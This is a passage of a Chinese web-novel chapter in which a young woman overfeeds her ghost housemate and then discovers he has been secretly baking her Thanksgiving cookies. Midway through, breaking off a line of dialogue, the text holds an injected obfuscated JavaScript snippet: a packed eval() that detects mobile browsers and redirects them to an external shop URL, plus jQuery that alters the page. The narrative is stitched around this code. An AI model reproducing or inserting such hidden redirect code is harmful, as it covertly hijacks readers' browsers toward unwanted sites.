喻声原本找回帖子的初衷是想看看，自己再回到过去会是什么样的心情，但她当下却更想知道，江时敲下那十一个字时，又是什么样的心情。
而这份心情，存活期限能有多长。
喻声很逃避爱这个字，回复许绘林时也是秉持着同样的想法：
只要不被爱，就不会有失去的痛苦，人就会像被抽真空那样的，有可以保存很久的平静。
但她在被爱。
喻声给江时的回帖截了个图，再退出软件，把两个手机都关机，最后蜷缩进被子里，闭眼。
被子尚有余温，那份心情、这种被爱的感觉存活期限好像也很长，长到走了两个月，走过他们的每一次相处，在今天走到了她面前，轻轻拥抱住她，蹭走了所有眼泪。
喻声的脸更侧着，把大半都埋进了枕头里。
被爱是一种很奇妙的体验，它迅速地反驳她那种错误的想法，开启了另一种可能，它说人就像蘑菇一样，被抽真空反而更容易变质。
她在被爱，就会更渴望爱，人和蘑菇没什么不同，在生长时都是渴望幸福的眼泪和适宜温度的爱，等到生长一词被定义为过去式，再经由不同的途径去分享爱。
时间逼近傍晚，夜色加深，蘑菇在分享爱的途径上遇到了鸡肉。
只炒鸡肉太单调，喻声从冷冻室里翻出来一大盒香菇，逐字逐行照着菜谱做了香菇滑鸡焖饭，不仅特意煮了比平时多一半的量，还另煮了青菜，把那多出来的一半全堆进了江时碗里，上完香后推至他的面前。
“好吃。”
江时看到明显比平时多了不少的份量，先是顿了一下，也没说什么，直接舀了一勺放进嘴里，给出了朴实无华的评价。
“我第一次做，看来挺成功。”喻声手握鼠标下滑，光标定在了《恐怖游轮》的封面上，侧身询问他的意见，“看这个可以吗？”
江时当然颔首说可以，事实上，他也从没反驳过喻声想看哪部电影的提议，再询问他也只是礼貌地例行公事而已。
电影片长共99分钟，江时慢悠悠地把饭吃到了电影尾声。
他面色如常，偶尔抬眼和喻声对视上，也是笑盈盈给出夸奖，喻声捕捉不到更多关于他到底饱没饱的信息，不过很快，大半夜的，江时又往厨房里钻，明确给了她答案。
喻声不信邪，隔天又加大饭量，她很明显感觉到江时停顿的时间比昨天更久，但他依旧没说什么，照常全部吃完，只是后半夜又准时准点出现在了厨房。
喻声宕机：“……？”
她不会也在恐怖游轮上吧！
她现在简直要比Jess初登游轮还要迷茫啊。
喻声没搞清江时是不是触发了什么“厨房是半夜刷新点”的机制，她退回房间里，发了条消息给他：「怎么还不休息？」
江时过了很久才回复：「鬼哪里需要休息。」
江时：「需要睡眠的人，你怎么还不休息？」
喻声：「你觉得晚饭怎么样？有什么需要改进的地方吗？」
江时：「没有啊。」
江时：「很好吃。」
江时：「你是大厨。」
江时：「Koonyangi猫猫星星眼.jpg」
喻声被江时的夸赞为难到：「真的没有吗？」
江时被喻声的问话为难到：「还是需要我写篇几千字点评给你？你知道我文章很烂。」
喻声：「……」
喻声：「那倒不用了。」
喻声迅速地又打了一行字：「那你为什么每晚都这么饿？」
刚想发出去，她又开始犹豫，怕江时以为她在谴责他吃太多，最后还是把问话删掉，回了句「马上去睡觉了」，就熄灭手机屏幕，只是默默地决定再加大饭量。
于是在隔天，就造就了双方坐在客厅里沉默面对大小差异过大的两个饭碗的局面。
场景凝滞，被正在播放的电影背景音衬托得更加诡异。
江时看着面前的三座山：“……”
这次他必须说点什么了。
他咳了一声，从山里抬头，把勺子往饭上搁，而后犹豫着问：“是末日到了吗？”
——在恐怖游轮上好像跟末日到了没什么区别啊。
喻声想。
喻声把奇怪的想法压下去：“……你每天上网都在看些什么东西啊。”
“就一些小说，你晚上用来催眠的那种。”江时慢吞补充，“不过都没有你写得好，真的。”
“……”喻声憋了半天憋出一句，“谢谢你这个时候还想着夸我呢。”
“那你整出一副今天吃完就没有明天了的架势是——”江时手支着脑袋，一脸苦恼，好奇地问，“鬼虽然不太有饿和饱的感觉，但也不至于一口气吃这么几座山进肚子里吧？”
“我以为你吃不饱。”喻声看着他，“我就想着晚饭多做点的话你也不至于每晚你都去厨房捣鼓点什么。”
连续三天都在厨房待到很晚的江时，起身叹气说到底你是笨蛋还是我是笨蛋的江时，从厨房里双手捧出一碟黑黢黢的曲奇饼干的江时，比蘑菇更会分享爱的江时，所有江时模糊、又清晰，同时交织着很多个她，过去的、现在的、未来的。
和去猜测江时的心情存活期限有多长不同的是，喻声明确地知道自己的这份心情从烤箱出来后就被贴上“永恒”的标签。
毫不遮掩的、无法遮掩的，可以和贫穷、爱情、咳嗽并列的。
厨房窗户大敞，有几分凉意涌进来，被江时随手合上的门压回厨房，霎时间室内只留下温暖，喻声抬眼看着江时一步一步朝她走来，开始有点晕乎乎的。
“那些工具我都不太会用，只能一遍一遍尝试，这是最新一批，昨晚刚做的，已经是我能做出来的最不黑的程度了。”江时把饼干放下，随即盘腿坐在地毯上，膝盖与喻声相贴，目光落在她身上许久，“曲奇饼干，感恩节礼物，送给你的。”
香味直冲鼻腔，喻声恍然，靠边挑了一块，放在手心，细细端详。
“只是我没想到你会理解成我饿了。”江时叹气说道，“惊喜变成惊吓了。”
他说得坦率、从容，像是抱怨，故意加大的叹气声却含着忐忑，嘴唇也下意识抿紧。
厨房那些做饼干的模具是上次给江时做蛋糕时想着可以一起备着的，全是小狗形状，表情各不相同而已，被江时一烘烤，表情全糊掉，只能靠耳朵形状稍微辨认是不是用同一个模具做出来的。
因为没有表情，江时用巧克力酱在每一个饼干上都画了歪歪扭扭的笑脸。
喻声挑的那块是立耳的，她刚想送进嘴里，又止住。
江时问：“有什么问题吗？”
喻声摇头，想起了他上次说的那句“以后每一张照片都跟他拍”，说道：“还没拍照呢，你等我一下。”
喻声放下饼干，三两步跑回房间，取了江时送的那个拍立得，边走出来边把电池和相纸装上，等坐下后再旋转到closeup模式，把相纸遮光板拍掉后示意江时：“和饼干一起拍吧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16612977|184024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
江时点头：“饼干你拿还是我拿？”
“我拿吧。”喻声回答，“你举拍立得。”
自拍模式需要他们靠得更近些，喻声手里捧着的饼干被挤得差点从烤盘上滑了下来，在等相纸缓缓推出的间隙，她伸手取了刚刚放回的那块咬了一口。
味道意外地不错。
她别过头，看着饼干，细数一共有多少块，可以分几天吃。
刚想着无论如何都要夸他的喻声此刻脱口而出的夸赞更显真心实意：“好吃。”
但对面晃着相纸等显形的人明显不满意，他闷声：“怎么这么敷衍？”
“完全是大厨水平。”喻声笑，借用着他的话，“还是需要我写篇几千字点评给你？”
江时把相片递给喻声：“前一句我收下了，至于后一句，那还不如等你写新的文章给我看来得实在。”
喻声失笑，赞同他的说法，刚想调侃几句，却在接过相纸后怔住。
拍立得的魅力之一在于等待它显形那段时间里那种被延缓的、期待的心情，因为完全不知道拍完的效果是什么样的，就会更想珍惜已经过去的、却被相纸上留存的那一瞬间——
以及那个一起拍照的人。
喻声完全没想到，拍立得能拍到江时。
和临山那张的空旷不同，和他生日时模模糊糊一个剪影的那张也不同，新照片里，虽然江时依旧近乎透明，但轮廓分明，连脸上的神情都清晰。
世界只有新照片里那么大的时候，喻声看着手里的饼干，而江时笑意盈盈，正看着她。
世界有更大一片天地时，照片外，喻声看着自己的心。
她曾列举过在这里住下去的三个理由：
一是因为三明治，二是因为离福珠很近，三是因为便宜的房租。
她直至现在、直到这一瞬间才清楚，她在这里住下去的理由对应着三个人。
舒云繁、福珠、江时。
朋友、家人、喜欢的人。
她喜欢江时。
此刻，喻声确定。
这份喜欢是在很多个和他相处的日子中累积出来的，在她还不知情的时候就出现，来得不可思议，又顺理成章。
头顶有声音响起，平稳温和：“感恩节快乐。”
“感恩节快乐。”被中断思绪，喻声调整好心情，看向他，“你怎么想到要做饼干的？”
“想听什么版本的？”
“有什么版本？”
“一个是很久以前的，一个是最近的。”
“那先听听最近的。”
江时开着玩笑：“就是偶然间上网刷到的，你现在知道我每天上网都在看些什么东西了吧？”
“好记仇啊你。”喻声被他逗笑，“那很久以前的版本是什么？”
“从你发烧那次开始，就很想为你做点什么，即使只是微不足道的曲奇饼干。”他倾身，温声开口，“希望你开心一点，希望你不要再说‘别对我太好’这种话，希望你对别人的好可以得到回应。”
从江时说的第一个字开始，喻声就重新踏入了那一天，旧场景、新视角，昏昏沉沉直至彻底睡着的那段时间，她分明得到了回答，很短，不过三秒，掩盖在扭捏的沙粒下，风一吹，沙粒跑，就像那张照片一样，总要拍过两张模糊的，才得以在此刻清晰地展现在喻声眼前。
他明明句句有回应——
“我做得还远远不够。”
一字一顿，过去和现在重叠，柔软地敲着喻声的心。